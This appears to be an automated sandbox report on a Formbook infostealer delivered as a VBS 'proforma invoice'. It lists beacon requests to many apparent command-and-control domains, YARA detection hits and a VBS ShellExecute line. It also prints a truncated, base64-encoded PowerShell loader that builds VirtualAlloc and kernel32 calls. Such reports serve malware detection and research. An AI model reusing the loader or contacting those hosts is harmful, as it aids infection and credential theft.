Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.coolarts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1Host: www.ap-render.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.receiveprim.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1Host: www.itsfindia.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=Sp+Vnoj41xF+X27kbZ2gbhhmlpTYO/ymXHQnMWpJpfoG8qqLVUKSMWMbMwd5uBvOkHI+&APPTx=9r9PSR HTTP/1.1Host: www.blueonb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=WEOQpGNSR38PhgWGQI/4C8NMlFMwGI3qKGQVHk5AxuPmXhsKWgjXW9kcijjoxdm/j8Qu&APPTx=9r9PSR HTTP/1.1Host: www.mojawapo.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&APPTx=9r9PSR HTTP/1.1Host: www.ghanesa.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1Host: www.linuxizes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&APPTx=9r9PSR HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=mHFj8MSWDx8nkU1eAV++NnKhhWbL51TVGCJDIAbvrDEUS4qoSy90C4E1UO2kwJf1rSvR&APPTx=9r9PSR HTTP/1.1Host: www.hikingtaibah.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=vocXnNkofrtqV2skOi0toh6MZkzBPgY3NaQb1h7517U8PmTkl0G2bMX+HFjiIYqpZAQ5&APPTx=9r9PSR HTTP/1.1Host: www.xc8b49c6mnmdts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=Il3LuUn17XOwO1L66Bn3hjajRgSpI6QuPLSUULkpfr+VyFXt3qGq+SpnJy79y37sHeXr HTTP/1.1Host: www.worldbrands.wineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.secureartist.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv HTTP/1.1Host: www.ymsb.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.coolarts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1Host: www.ap-render.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.receiveprim.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1Host: www.itsfindia.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=vE0t2WxjBi8H4KsoCXQPFaaEcnaL0cW4rsHN0mKSQSi6rgkDy1GsjEniIX065GWycDne&UlCp=CJEhZPH HTTP/1.1Host: www.vtubber.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1740, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: ielowutil.exe PID: 8008, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: rundll32.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Personaleg.ShellExecute Predelegat, Pseudogla & chr(34) & cowardli & chr(34), vbnullstring, vbnullstring, 0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5200
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5200

Source: Unclear Proforma Invoice.vbs, type: SAMPLE	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
